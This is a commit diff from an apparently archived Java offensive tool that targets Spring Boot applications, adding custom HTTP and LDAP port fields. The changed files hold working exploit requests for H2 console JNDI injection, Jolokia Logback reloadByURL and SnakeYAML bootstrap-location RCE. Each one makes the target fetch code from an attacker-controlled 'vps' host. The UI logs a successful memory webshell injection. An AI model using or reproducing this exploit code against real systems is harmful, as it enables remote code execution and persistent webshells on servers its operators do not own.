Skip to content
This repository was archived by the owner on Jul 25, 2024. It is now read-only.

Commit 739cfda

Browse files
SummerSecSummerSec
committed
支持自定义端口
1 parent 24e0da0 commit 739cfda

File tree

7 files changed

+67
-25
lines changed

7 files changed

+67
-25
lines changed

‎src/main/java/com/drops/exp/H2DatabaseConsoleJNDIRCEEXP.java

+6-3
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.drops.exp;
22

33
import com.drops.exp.util.H2DatabaseUtil;
4+
import com.drops.ui.MainController;
45
import com.drops.utils.HTTPUtils;
56

67
/**
@@ -14,8 +15,10 @@
1415
public class H2DatabaseConsoleJNDIRCEEXP {
1516

1617

17-
public boolean hasH2DatabaseConsoleJNDIRCE(String target,String vps) {
18-
String boby = "language=en&setting=Generic+H2+%28Server%29&name=Generic+H2+%28Server%29&driver=javax.naming.InitialContext&url=ldap%3A%2F%2F" + vps + "%3A1389%2Fbasic%2FTomcatMemshell3&user=&password=";
18+
public boolean hasH2DatabaseConsoleJNDIRCE(String target,String vps,String lport) {
19+
// MainController.lport.getText();
20+
// String boby = "language=en&setting=Generic+H2+%28Server%29&name=Generic+H2+%28Server%29&driver=javax.naming.InitialContext&url=ldap%3A%2F%2F" + vps + "%3A1389%2Fbasic%2FTomcatMemshell3&user=&password=";
21+
String boby = "language=en&setting=Generic+H2+%28Server%29&name=Generic+H2+%28Server%29&driver=javax.naming.InitialContext&url=ldap%3A%2F%2F" + vps + "%3A" + lport + "%2Fbasic%2FTomcatMemshell3&user=&password=";
1922
String path = H2DatabaseUtil.getJsessionid(target);
2023
String url = target + "/h2-console/login.do?" + path;
2124

@@ -36,6 +39,6 @@ public boolean hasH2DatabaseConsoleJNDIRCE(String target,String vps) {
3639
public static void main(String[] args) {
3740
String url = "http://127.0.0.1:9096/";
3841
H2DatabaseConsoleJNDIRCEEXP h2DatabaseConsoleJNDIRCEEXP= new H2DatabaseConsoleJNDIRCEEXP();
39-
h2DatabaseConsoleJNDIRCEEXP.hasH2DatabaseConsoleJNDIRCE(url,"127.0.0.1");
42+
h2DatabaseConsoleJNDIRCEEXP.hasH2DatabaseConsoleJNDIRCE(url,"127.0.0.1","1389");
4043
}
4144
}

‎src/main/java/com/drops/exp/JolokiaLogbackRCEEXP.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -15,11 +15,11 @@
1515
**/
1616
public class JolokiaLogbackRCEEXP {
1717

18-
public boolean hasJolokiaLogbackRCE(String target, String vps, String echo, boolean version) {
18+
public boolean hasJolokiaLogbackRCE(String target, String vps, String hport, boolean version) {
1919

2020

2121
String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
22-
+ ":3456!/a.xml";
22+
+ ":"+hport+"!/a.xml";
2323

2424
if (version){
2525
if (JolokiaUtil.hasMbeans(target)){

‎src/main/java/com/drops/exp/SnakeYAMLRCEEXP.java

+4-3
Original file line numberDiff line numberDiff line change
@@ -24,9 +24,10 @@ public class SnakeYAMLRCEEXP {
2424
public SnakeYAMLRCEEXP() {
2525
}
2626

27-
public boolean sendExp(String target, String vps, String EchoType, boolean version){
28-
String boby = "spring.cloud.bootstrap.location=http://" + vps + ":3456/" + EchoType + ".yml";
29-
String boby2 = "{\"name\":\"spring.cloud.bootstrap.location\",\"value\":\"http://" + vps + ":3456/" + EchoType + ".yml\"}";
27+
public boolean sendExp(String target, String vps, String hport, boolean version){
28+
// String boby = "spring.cloud.bootstrap.location=http://" + vps + ":3456/" + "snake" + ".yml";
29+
String boby = "spring.cloud.bootstrap.location=http://" + vps + ":"+hport +"/" + "snake" + ".yml";
30+
String boby2 = "{\"name\":\"spring.cloud.bootstrap.location\",\"value\":\"http://" + vps + ":"+hport+"/" + "snake" + ".yml\"}";
3031
if (version){
3132
String url = URLUtil.getROOT(target);
3233
if (EnvPost.isPostEnv(url)){

‎src/main/java/com/drops/main/AttackService.java

+14-10
Original file line numberDiff line numberDiff line change
@@ -36,59 +36,63 @@ public AttackService(String targetAddressText, String httpTimeoutText) {
3636
// this.infoCheck = new SpringBootInfoCheck();
3737
}
3838

39-
public boolean gadgetSend(String target, String vps, String gadget, String echo){
39+
public boolean gadgetSend(String target, String vps, String gadget, String[] ports){
4040
SpringBootInfoCheck infoCheck = new SpringBootInfoCheck();
4141
boolean flag = VersionUtil.isVersion(target);
4242
// boolean flag = true;
4343
// String type = "inje"
4444
String env = "/env";
4545
String env2 = "/actuator/env";
46+
String hport = ports[0];
47+
String lport = ports[1];
4648
System.out.println(target);
4749
System.out.println(vps);
4850
System.out.println(gadget);
49-
System.out.println(echo);
51+
System.out.println("hport" + hport);
52+
System.out.println("lport" + lport);
53+
// System.out.println(echo);
5054

5155
try {
5256
if (flag){
5357
if (gadget.equalsIgnoreCase("SnakeYAMLRCE")) {
5458
SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP();
55-
return exp.sendExp(target,vps,echo,flag);
59+
return exp.sendExp(target,vps,hport,flag);
5660
}else if (gadget.equalsIgnoreCase("EurekaXstreamRCE")){
5761
EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC();
5862
exp.hasEurekaXstreamRCE(target);
5963
return false;
6064
}else if (gadget.equalsIgnoreCase("JolokiaLogbackRCE")){
6165
JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP();
62-
return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,echo,flag);
66+
return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,hport,flag);
6367

6468
}else if(gadget.equalsIgnoreCase("JolokiaRealmRCE")){
6569
JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP();
66-
return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,echo,flag);
70+
return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,hport,flag);
6771
}else if (gadget.equalsIgnoreCase("H2DatabaseConsoleJNDIRCE")){
6872
H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP();
69-
return exp.hasH2DatabaseConsoleJNDIRCE(target, vps);
73+
return exp.hasH2DatabaseConsoleJNDIRCE(target, vps,lport);
7074
}
7175

7276
}else {
7377
if (gadget.equalsIgnoreCase("SnakeYAMLRCE")) {
7478
SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP();
75-
return exp.sendExp(target,vps,echo,flag);
79+
return exp.sendExp(target,vps,hport,flag);
7680
}else if (gadget.equalsIgnoreCase("EurekaXstreamRCE")){
7781
EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC();
7882
exp.hasEurekaXstreamRCE(target);
7983
return false;
8084
}else if (gadget.equalsIgnoreCase("JolokiaLogbackRCE")){
8185
JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP();
82-
return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,echo,flag);
86+
return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,hport,flag);
8387

8488
}else if(gadget.equalsIgnoreCase("JolokiaRealmRCE")){
8589
JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP();
86-
return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,echo,flag);
90+
return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,hport,flag);
8791

8892

8993
}else if (gadget.equalsIgnoreCase("H2DatabaseConsoleJNDIRCE")){
9094
H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP();
91-
return exp.hasH2DatabaseConsoleJNDIRCE(target, vps);
95+
return exp.hasH2DatabaseConsoleJNDIRCE(target, vps,lport);
9296

9397
}
9498
}

‎src/main/java/com/drops/poc/POC.java

+8
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
package com.drops.poc;
22

3+
import com.drops.entity.ControllersFactory;
4+
import com.drops.ui.MainController;
35
import com.drops.utils.HTTPUtils;
46
import com.drops.utils.URLUtil;
57

@@ -14,6 +16,12 @@
1416
* @Description:
1517
**/
1618
public class POC {
19+
public void Port(){
20+
ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);
21+
// System.out.println(controller.getPorts());
22+
23+
}
24+
1725

1826

1927

‎src/main/java/com/drops/ui/MainController.java

+20-6
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@
2222
import java.net.PasswordAuthentication;
2323
import java.net.Proxy;
2424
import java.util.HashMap;
25+
import java.util.List;
2526
import java.util.Map;
2627

2728
/**
@@ -78,6 +79,14 @@ public class MainController {
7879
@FXML
7980
public TextArea InjOutputArea;
8081

82+
public static TextArea ip;
83+
@FXML
84+
public TextField hport;
85+
@FXML
86+
public TextField lport;
87+
public static String hports;
88+
public static String lports;
89+
8190
LDAPUtil ldapUtil = null;
8291
public AttackService attackService = null;
8392

@@ -106,6 +115,8 @@ private void initConnect() {
106115
this.vps.setText("127.0.0.1");
107116
this.httpTimeout.setText("5");
108117
this.targetAddress.setText("http://127.0.0.1:9095");
118+
this.lport.setText("1389");
119+
this.hport.setText("3456");
109120
}
110121

111122

@@ -276,7 +287,7 @@ public void crackSpcGadgetBtn(ActionEvent actionEvent) {
276287
this.logTextArea.appendText(Utils.log(ssti));
277288
}else {
278289
boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
279-
this.vps.getText(),this.gadgetOpt.getValue(),"TomcatEcho");
290+
this.vps.getText(),this.gadgetOpt.getValue(),this.getPorts());
280291
if(flag){
281292
if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){
282293
this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !"));
@@ -301,7 +312,7 @@ public boolean connect() {
301312
if(!vps.isEmpty()){
302313

303314
// 判断http 服务是否生效
304-
if(HTTPUtils.getRequest(vps + ":3456" ,"isOK.txt").getStatus() == 200){
315+
if(HTTPUtils.getRequest(vps + ":" + hport.getText() ,"isOK.txt").getStatus() == 200){
305316
this.logTextArea.appendText(Utils.log("HTTP Server Is OK!"));
306317
this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!"));
307318
// 判断 ldap 服务是否生效
@@ -326,11 +337,7 @@ public boolean connect() {
326337
return false;
327338
}
328339

329-
public void executeCmdBtn(ActionEvent actionEvent) {
330-
}
331340

332-
public void injectShellBtn(ActionEvent actionEvent) {
333-
}
334341

335342
public void check(ActionEvent actionEvent) {
336343
try {
@@ -340,5 +347,12 @@ public void check(ActionEvent actionEvent) {
340347
this.logTextArea.appendText(Utils.log(e.getMessage()));
341348
}
342349
}
350+
public String[] getPorts(){
351+
352+
String[] result = new String[]{this.hport.getText(),this.lport.getText()};
353+
354+
return result;
355+
}
356+
343357

344358
}

‎src/main/resources/a.fxml

+13-1
Original file line numberDiff line numberDiff line change
@@ -57,8 +57,20 @@
5757
<Font size="16.0" />
5858
</font>
5959
</Label>
60-
<TextField fx:id="vps" prefHeight="27.0" prefWidth="448.0" />
60+
<TextField fx:id="vps" prefHeight="27.0" prefWidth="312.0" />
6161
<Button fx:id="connect" mnemonicParsing="false" onAction="#connect" prefHeight="23.0" prefWidth="84.0" text="连接" />
62+
<Label prefHeight="50.0" prefWidth="50.0" text="HPort" >
63+
<font>
64+
<Font size="16.0" />
65+
</font>
66+
</Label>
67+
<TextField fx:id="hport" prefHeight="40.0" prefWidth="90.0" text="3456"/>
68+
<Label prefHeight="60.0" prefWidth="50.0" text="LPort" >
69+
<font>
70+
<Font size="16.0" />
71+
</font>
72+
</Label>
73+
<TextField fx:id="lport" prefHeight="40.0" prefWidth="90.0" text="1389" />
6274

6375
</children>
6476
</HBox>

0 commit comments

Comments
 (0)